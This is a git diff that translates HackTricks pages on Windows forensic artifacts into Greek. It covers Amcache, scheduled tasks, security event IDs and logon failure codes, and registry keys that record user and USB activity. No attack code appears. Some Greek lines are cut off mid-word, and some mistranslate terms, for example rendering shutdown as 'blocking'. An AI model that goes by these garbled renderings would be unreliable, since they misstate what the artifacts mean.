Για την ανάλυση των αποθηκευμένων πληροφοριών, συνιστάται η χρήση του εργαλείου [**AppCompatCacheParser**](https://github.com/EricZimmerman/AppCompatCacheParser).
|
||||
|
||||
![](<../../../.gitbook/assets/image (488).png>)
|
||||
|
||||
### Amcache
|
||||
|
||||
The **Amcache.hve** file is essentially a registry hive that logs details about applications that have been executed on a system. It is typically found at `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
Το αρχείο **Amcache.hve** είναι ουσιαστικά ένα καταγεγραμμένο μητρώο που καταγράφει λεπτομέρειες για εφαρμογές που έχουν εκτελεστεί σε ένα σύστημα. Συνήθως βρίσκεται στη διαδρομή `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
This file is notable for storing records of recently executed processes, including the paths to the executable files and their SHA1 hashes. This information is invaluable for tracking the activity of applications on a system.
|
||||
|
||||
To extract and analyze the data from **Amcache.hve**, the [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) tool can be used. The following command is an example of how to use AmcacheParser to parse the contents of the **Amcache.hve** file and output the results in CSV format:
|
||||
Αυτό το αρχείο είναι σημαντικό για την αποθήκευση εγγραφών πρόσφατα εκτελεσμένων διεργασιών, συμπεριλαμβανομένων των διαδρομών προς τα εκτελέσιμα αρχεία και των SHA1 κατακερματισμένων τους. Αυτές οι πληροφορίες είναι ανεκτίμητες για την παρακολούθηση της δραστηριότητας των εφαρμογών σε ένα σύστημα.
|
||||
|
||||
Για την εξαγωγή και ανάλυση των δεδομένων από το **Amcache.hve**, μπορεί να χρησιμοποιηθεί το εργαλείο [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser). Το παρακάτω παράδειγμα είναι ένας τρόπος χρήσης του AmcacheParser για την ανάλυση του περιεχομένου του αρχείου **Amcache.hve** και την εξαγωγή των αποτελεσμάτων σε μορφή CSV:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Ανάμεσα στα δημιουργημένα αρχεία CSV, το `Amcache_Unassociated file entries` ξεχωρίζει ιδιαίτερα λόγω των πλούσιων πληροφοριών που παρέχει σχετικά με τις μη συσχετισμένες καταχωρήσεις αρχείων.
|
||||
|
||||
Among the generated CSV files, the `Amcache_Unassociated file entries` is particularly noteworthy due to the rich information it provides about unassociated file entries.
|
||||
Το πιο ενδιαφέρον αρχείο CVS που δημιουργείται είναι το `Amcache_Unassociated file entries`.
|
||||
|
||||
The most interesting CVS file generated is the `Amcache_Unassociated file entries`.
|
||||
### Πρόσφατα αρχεία cache
|
||||
|
||||
### RecentFileCache
|
||||
Αυτό το αρχείο μπορεί να βρεθεί μόνο στα Windows 7 στη διαδρομή `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` και περιέχει πληροφορίες σχετικά με την πρόσφατη εκτέλεση ορισμένων δυαδικών αρχείων.
|
||||
|
||||
This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries.
|
||||
Μπορείτε να χρησιμοποιήσετε το εργαλείο [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) για να αναλύσετε το αρχείο.
|
||||
|
||||
You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file.
|
||||
### Προγραμματισμένες εργασίες
|
||||
|
||||
### Scheduled tasks
|
||||
Μπορείτε να τις εξάγετε από τη διαδρομή `C:\Windows\Tasks` ή `C:\Windows\System32\Tasks` και να τις διαβάσετε ως XML.
|
||||
|
||||
You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML.
|
||||
### Υπηρεσίες
|
||||
|
||||
### Services
|
||||
|
||||
You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when.
|
||||
Μπορείτε να τις βρείτε στο μητρώο κάτω από το `SYSTEM\ControlSet001\Services`. Μπορείτε να δείτε τι θα εκτελεστεί και πότε.
|
||||
|
||||
### **Windows Store**
|
||||
|
||||
The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**.
|
||||
Οι εγκατεστημένες εφαρμογές μπορούν να βρεθούν στη διαδρομή `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Αυτή η αποθήκη έχει ένα **αρχείο καταγραφής** με **κάθε εγκατεστημένη εφαρμογή** στο σύστημα μέσα στη βάση δεδομένων **`StateRepository-Machine.srd`**.
|
||||
|
||||
Inside the Application table of this database, it's possible to find the columns: "Application ID", "PackageNumber", and "Display Name". These columns have information about pre-installed and installed applications and it can be found if some applications were uninstalled because the IDs of installed applications should be sequential.
|
||||
Μέσα στον πίνακα Application αυτής της βάσης δεδομένων, είναι δυνατόν να βρεθούν οι στήλες: "Application ID", "PackageNumber" και "Display Name". Αυτές οι στήλες περιέχουν πληροφορίες για προεγκατεστημένες και εγκατεστημένες εφαρμογές και μπορεί να διαπιστωθεί αν κάποιες εφαρμογές έχουν απεγκατασταθεί επειδή οι αναγνωριστικοί των εγκατεστημένων εφαρμογών πρέπει να είναι συνεχόμενοι.
|
||||
|
||||
It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
Είναι επίσης δυνατό να **βρεθούν εγκατεστημένες εφαρμογές** μέσα στη διαδρομή του μητρώου: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Και **απεγκατεστημένες εφαρμογές** στο: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Windows Events
|
||||
## Γεγονότα των Windows
|
||||
|
||||
Information that appears inside Windows events are:
|
||||
Οι πληροφορίες που εμφανίζονται στα γεγονότα των Windows είναι:
|
||||
|
||||
* What happened
|
||||
* Timestamp (UTC + 0)
|
||||
* Users involved
|
||||
* Hosts involved (hostname, IP)
|
||||
* Assets accessed (files, folder, printer, services)
|
||||
* Τι συνέβη
|
||||
* Χρονική σήμανση (UTC + 0)
|
||||
* Συμμετέχοντες χρήστες
|
||||
* Συμμετέχοντες υπολογιστές (όνομα κεντρικού υπολογιστή, IP)
|
||||
* Πόροι που ανατέθηκαν (αρχεία, φάκελοι, εκτυπωτές, υπηρεσίες)
|
||||
|
||||
The logs are located in `C:\Windows\System32\config` before Windows Vista and in `C:\Windows\System32\winevt\Logs` after Windows Vista. Before Windows Vista, the event logs were in binary format and after it, they are in **XML format** and use the **.evtx** extension.
|
||||
Τα αρχεία καταγραφής βρίσκονται στη διαδρομή `C:\Windows\System32\config` πριν από τα Windows Vista και στη διαδρομή `C:\Windows\System32\winevt\Logs` μετά τα Windows Vista. Πριν από τα Windows Vista, τα αρχεία καταγραφής γεγονότων ήταν σε δυαδική μορφή και μετά από αυτό, είναι σε μορφή **XML** και χρησιμοποιούν την επέκταση **.evtx**.
|
||||
|
||||
The location of the event files can be found in the SYSTEM registry in **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
Η τοποθεσία των αρχείων γεγονότων μπορεί να βρεθεί στο μητρώο SYSTEM στο **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
Μπορούν να προβληθούν μέσω του Προβολέα Γεγονότων των Windows (**`eventvwr.msc`**) ή με άλλα εργαλεία όπως το [**Event Log Explorer**](https://eventlogxp.com) **ή** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Understanding Windows Security Event Logging
|
||||
## Κατανόηση της καταγραφής γεγονότων ασφάλειας των Windows
|
||||
|
||||
Access events are recorded in the security configuration file located at `C:\Windows\System32\winevt\Security.evtx`. This file's size is adjustable, and when its capacity is reached, older events are overwritten. Recorded events include user logins and logoffs, user actions, and changes to security settings, as well as file, folder, and shared asset access.
|
||||
Τα γεγονότα πρόσβασης καταγράφονται στο αρχείο ρύθμισης ασφάλειας που βρίσκεται στη διαδρομή `C:\Windows\System32\winevt\Security.evtx`. Το μέγεθος αυτού του αρχείου είναι προσαρμόσιμο και όταν φτάσει στη χωρητικότητά του, τα παλαιότερα γεγονότα αντικαθίστανται. Τα καταγεγραμμένα γεγονότα περιλαμβάνουν τις συνδέσεις και αποσυνδέσεις χρηστών, τις ενέργειες των χρηστών και τις αλλαγές στις ρυθμίσεις ασφάλειας, καθ
|
||||
#### Συμβάντα Τροφοδοσίας Συστήματος
|
||||
|
||||
### Key Event IDs for User Authentication:
|
||||
Το EventID 6005 υποδεικνύει την εκκίνηση του συστήματος, ενώ το EventID 6006 σηματοδοτεί τον αποκλεισμό.
|
||||
|
||||
- **EventID 4624**: Indicates a user successfully authenticated.
|
||||
- **EventID 4625**: Signals an authentication failure.
|
||||
- **EventIDs 4634/4647**: Represent user logoff events.
|
||||
- **EventID 4672**: Denotes login with administrative privileges.
|
||||
#### Διαγραφή Καταγραφών
|
||||
|
||||
#### Sub-types within EventID 4634/4647:
|
||||
|
||||
- **Interactive (2)**: Direct user login.
|
||||
- **Network (3)**: Access to shared folders.
|
||||
- **Batch (4)**: Execution of batch processes.
|
||||
- **Service (5)**: Service launches.
|
||||
- **Proxy (6)**: Proxy authentication.
|
||||
- **Unlock (7)**: Screen unlocked with a password.
|
||||
- **Network Cleartext (8)**: Clear text password transmission, often from IIS.
|
||||
- **New Credentials (9)**: Usage of different credentials for access.
|
||||
- **Remote Interactive (10)**: Remote desktop or terminal services login.
|
||||
- **Cache Interactive (11)**: Login with cached credentials without domain controller contact.
|
||||
- **Cache Remote Interactive (12)**: Remote login with cached credentials.
|
||||
- **Cached Unlock (13)**: Unlocking with cached credentials.
|
||||
|
||||
#### Status and Sub Status Codes for EventID 4625:
|
||||
|
||||
- **0xC0000064**: User name does not exist - Could indicate a username enumeration attack.
|
||||
- **0xC000006A**: Correct user name but wrong password - Possible password guessing or brute-force attempt.
|
||||
- **0xC0000234**: User account locked out - May follow a brute-force attack resulting in multiple failed logins.
|
||||
- **0xC0000072**: Account disabled - Unauthorized attempts to access disabled accounts.
|
||||
- **0xC000006F**: Logon outside allowed time - Indicates attempts to access outside of set login hours, a possible sign of unauthorized access.
|
||||
- **0xC0000070**: Violation of workstation restrictions - Could be an attempt to login from an unauthorized location.
|
||||
- **0xC0000193**: Account expiration - Access attempts with expired user accounts.
|
||||
- **0xC0000071**: Expired password - Login attempts with outdated passwords.
|
||||
- **0xC0000133**: Time sync issues - Large time discrepancies between client and server may be indicative of more sophisticated attacks like pass-the-ticket.
|
||||
- **0xC0000224**: Mandatory password change required - Frequent mandatory changes might suggest an attempt to destabilize account security.
|
||||
- **0xC0000225**: Indicates a system bug rather than a security issue.
|
||||
- **0xC000015b**: Denied logon type - Access attempt with unauthorized logon type, such as a user trying to execute a service logon.
|
||||
|
||||
#### EventID 4616:
|
||||
- **Time Change**: Modification of the system time, could obscure the timeline of events.
|
||||
|
||||
#### EventID 6005 and 6006:
|
||||
- **System Startup and Shutdown**: EventID 6005 indicates the system starting up, while EventID 6006 marks it shutting down.
|
||||
|
||||
#### EventID 1102:
|
||||
- **Log Deletion**: Security logs being cleared, which is often a red flag for covering up illicit activities.
|
||||
|
||||
#### EventIDs for USB Device Tracking:
|
||||
- **20001 / 20003 / 10000**: USB device first connection.
|
||||
- **10100**: USB driver update.
|
||||
- **EventID 112**: Time of USB device insertion.
|
||||
|
||||
For practical examples on simulating these login types and credential dumping opportunities, refer to [Altered Security's detailed guide](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
|
||||
|
||||
Event details, including status and sub-status codes, provide further insights into event causes, particularly notable in Event ID 4625.
|
||||
|
||||
### Recovering Windows Events
|
||||
|
||||
To enhance the chances of recovering deleted Windows Events, it's advisable to power down the suspect computer by directly unplugging it. **Bulk_extractor**, a recovery tool specifying the `.evtx` extension, is recommended for attempting to recover such events.
|
||||
|
||||
### Identifying Common Attacks via Windows Events
|
||||
|
||||
For a comprehensive guide on utilizing Windows Event IDs in identifying common cyber attacks, visit [Red Team Recipe](https://redteamrecipe.com/event-codes/).
|
||||
|
||||
#### Brute Force Attacks
|
||||
|
||||
Identifiable by multiple EventID 4625 records, followed by an EventID 4624 if the attack succeeds.
|
||||
|
||||
#### Time Change
|
||||
|
||||
Recorded by EventID 4616, changes to system time can complicate forensic analysis.
|
||||
|
||||
#### USB Device Tracking
|
||||
|
||||
Useful System EventIDs for USB device tracking include 20001/20003/10000 for initial use, 10100 for driver updates, and EventID 112 from DeviceSetupManager for insertion timestamps.
|
||||
|
||||
#### System Power Events
|
||||
|
||||
EventID 6005 indicates system startup, while EventID 6006 marks shutdown.
|
||||
|
||||
#### Log Deletion
|
||||
|
||||
Security EventID 1102 signals the deletion of logs, a critical event for forensic analysis.
|
||||
Το EventID 1102 της Ασφάλειας υποδεικνύει τη διαγραφή των καταγραφών, ένα κρίσιμο γεγονός για την ανάλυση αποδεικτικών στοιχείων.
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΠΑΚΕΤΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,106 +1,43 @@
|
|||
# Interesting Windows Registry Keys
|
||||
# Ενδιαφέροντα Κλειδιά Καταχώρησης των Windows
|
||||
|
||||
### Interesting Windows Registry Keys
|
||||
### Ενδιαφέροντα Κλειδιά Καταχώρησης των Windows
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF**, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε** στην 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) στο GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
### **Windows Version and Owner Info**
|
||||
- Located at **`Software\Microsoft\Windows NT\CurrentVersion`**, you'll find the Windows version, Service Pack, installation time, and the registered owner's name in a straightforward manner.
|
||||
### **Έκδοση των Windows και Πληροφορίες Κατόχου**
|
||||
- Στο **`Software\Microsoft\Windows NT\CurrentVersion`**, θα βρείτε την έκδοση των Windows, το Service Pack, την ώρα εγκατάστασης και το όνομα του κατόχου που έχει καταχωρηθεί με απλό τρόπο.
|
||||
|
||||
### **Computer Name**
|
||||
- The hostname is found under **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
### **Όνομα Υπολογιστή**
|
||||
- Το όνομα του υπολογιστή βρίσκεται στο **`System\ControlSet001\Control\ComputerName\ComputerName`**.
|
||||
|
||||
### **Time Zone Setting**
|
||||
- The system's time zone is stored in **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
### **Ρύθμιση Ζώνης Ώρας**
|
||||
- Η ζώνη ώρας του συστήματος αποθηκεύεται στο **`System\ControlSet001\Control\TimeZoneInformation`**.
|
||||
|
||||
### **Access Time Tracking**
|
||||
- By default, the last access time tracking is turned off (**`NtfsDisableLastAccessUpdate=1`**). To enable it, use:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
### **Καταγραφή Χρόνου Πρόσβασης**
|
||||
- Από προεπιλογή, η καταγραφή του τελευταίου χρόνου πρόσβασης είναι απενεργοποιημένη (**`NtfsDisableLastAccessUpdate=1`**). Για να την ενεργοποιήσετε, χρησιμοποιήστε:
|
||||
`fsutil behavior set disablelastaccess 0`
|
||||
|
||||
### Windows Versions and Service Packs
|
||||
- The **Windows version** indicates the edition (e.g., Home, Pro) and its release (e.g., Windows 10, Windows 11), while **Service Packs** are updates that include fixes and, sometimes, new features.
|
||||
### Έκδοση των Windows και Service Packs
|
||||
- Η **έκδοση των Windows** υποδεικνύει την έκδοση (π.χ., Home, Pro) και την κυκλοφορία της (π.χ., Windows 10, Windows 11), ενώ τα **Service Packs** είναι ενημερώσεις που περιλαμβάνουν διορθώσεις και, μερικές φορές, νέα χαρακτηριστικά.
|
||||
|
||||
### Enabling Last Access Time
|
||||
- Enabling last access time tracking allows you to see when files were last opened, which can be critical for forensic analysis or system monitoring.
|
||||
### Ενεργοποίηση του Χρόνου Τελευταίας Πρόσβασης
|
||||
- Η ενεργοποίηση της καταγραφής του χρόνου τελευταίας πρόσβασης σας επιτρέπει να δείτε πότε ανοίχθηκαν τα αρχεία τελευταία φορά, κάτι που μπορεί να είναι κρίσιμο για αναλύσεις αποδεικτικών στοιχείων ή για την παρακολούθηση του συστήματος.
|
||||
|
||||
### Network Information Details
|
||||
- The registry holds extensive data on network configurations, including **types of networks (wireless, cable, 3G)** and **network categories (Public, Private/Home, Domain/Work)**, which are vital for understanding network security settings and permissions.
|
||||
### Λεπτομέρειες Πληροφοριών Δικτύου
|
||||
- Η καταχώρηση κρατάει εκτεταμένα δεδομένα για τις ρυθμίσεις δικτύου, συμπεριλαμβανομένων των **τύπων δικτύων (ασύρματα, καλωδιακά, 3G)** και των **κατηγοριών δικτύου (Δημόσιο, Ιδιωτικό/Οικιακό, Τομέας/Εργασία)**, τα οποία είναι ζωτικής σημασίας για την κατανόηση των ρυθμίσεων ασφαλείας και των δικαιωμάτων του δικτύου.
|
||||
|
||||
### Client Side Caching (CSC)
|
||||
- **CSC** enhances offline file access by caching copies of shared files. Different **CSCFlags** settings control how and what files are cached, affecting performance and user experience, especially in environments with intermittent connectivity.
|
||||
|
||||
### AutoStart Programs
|
||||
- Programs listed in various `Run` and `RunOnce` registry keys are automatically launched at startup, affecting system boot time and potentially being points of interest for identifying malware or unwanted software.
|
||||
|
||||
### Shellbags
|
||||
- **Shellbags** not only store preferences for folder views but also provide forensic evidence of folder access even if the folder no longer exists. They are invaluable for investigations, revealing user activity that isn't obvious through other means.
|
||||
|
||||
### USB Information and Forensics
|
||||
- The details stored in the registry about USB devices can help trace which devices were connected to a computer, potentially linking a device to sensitive file transfers or unauthorized access incidents.
|
||||
|
||||
### Volume Serial Number
|
||||
- The **Volume Serial Number** can be crucial for tracking the specific instance of a file system, useful in forensic scenarios where file origin needs to be established across different devices.
|
||||
|
||||
### **Shutdown Details**
|
||||
- Shutdown time and count (the latter only for XP) are kept in **`System\ControlSet001\Control\Windows`** and **`System\ControlSet001\Control\Watchdog\Display`**.
|
||||
|
||||
### **Network Configuration**
|
||||
- For detailed network interface info, refer to **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**.
|
||||
- First and last network connection times, including VPN connections, are logged under various paths in **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList`**.
|
||||
|
||||
### **Shared Folders**
|
||||
- Shared folders and settings are under **`System\ControlSet001\Services\lanmanserver\Shares`**. The Client Side Caching (CSC) settings dictate offline file availability.
|
||||
|
||||
### **Programs that Start Automatically**
|
||||
- Paths like **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run`** and similar entries under `Software\Microsoft\Windows\CurrentVersion` detail programs set to run at startup.
|
||||
|
||||
### **Searches and Typed Paths**
|
||||
- Explorer searches and typed paths are tracked in the registry under **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer`** for WordwheelQuery and TypedPaths, respectively.
|
||||
|
||||
### **Recent Documents and Office Files**
|
||||
- Recent documents and Office files accessed are noted in `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs` and specific Office version paths.
|
||||
|
||||
### **Most Recently Used (MRU) Items**
|
||||
- MRU lists, indicating recent file paths and commands, are stored in various `ComDlg32` and `Explorer` subkeys under `NTUSER.DAT`.
|
||||
|
||||
### **User Activity Tracking**
|
||||
- The User Assist feature logs detailed application usage stats, including run count and last run time, at **`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count`**.
|
||||
|
||||
### **Shellbags Analysis**
|
||||
- Shellbags, revealing folder access details, are stored in `USRCLASS.DAT` and `NTUSER.DAT` under `Software\Microsoft\Windows\Shell`. Use **[Shellbag Explorer](https://ericzimmerman.github.io/#!index.md)** for analysis.
|
||||
|
||||
### **USB Device History**
|
||||
- **`HKLM\SYSTEM\ControlSet001\Enum\USBSTOR`** and **`HKLM\SYSTEM\ControlSet001\Enum\USB`** contain rich details on connected USB devices, including manufacturer, product name, and connection timestamps.
|
||||
- The user associated with a specific USB device can be pinpointed by searching `NTUSER.DAT` hives for the device's **{GUID}**.
|
||||
- The last mounted device and its volume serial number can be traced through `System\MountedDevices` and `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt`, respectively.
|
||||
|
||||
This guide condenses the crucial paths and methods for accessing detailed system, network, and user activity information on Windows systems, aiming for clarity and usability.
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
### Προσωπική Αποθήκευση Πλευράς Πελάτη (CSC)
|
||||
- Η **CSC** βελτιώνει την πρόσβαση σε αρχεία εκτός σύνδεσης με την αποθήκευση αντιγράφων κοινόχρηστων αρχείων. Διάφορες ρυθμίσεις **CSCFlags
|
||||
|
|
|
@ -1,147 +1,59 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Συμμετάσχετε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## smss.exe
|
||||
|
||||
**Session Manager**.\
|
||||
Session 0 starts **csrss.exe** and **wininit.exe** (**OS** **services**) while Session 1 starts **csrss.exe** and **winlogon.exe** (**User** **session**). However, you should see **only one process** of that **binary** without children in the processes tree.
|
||||
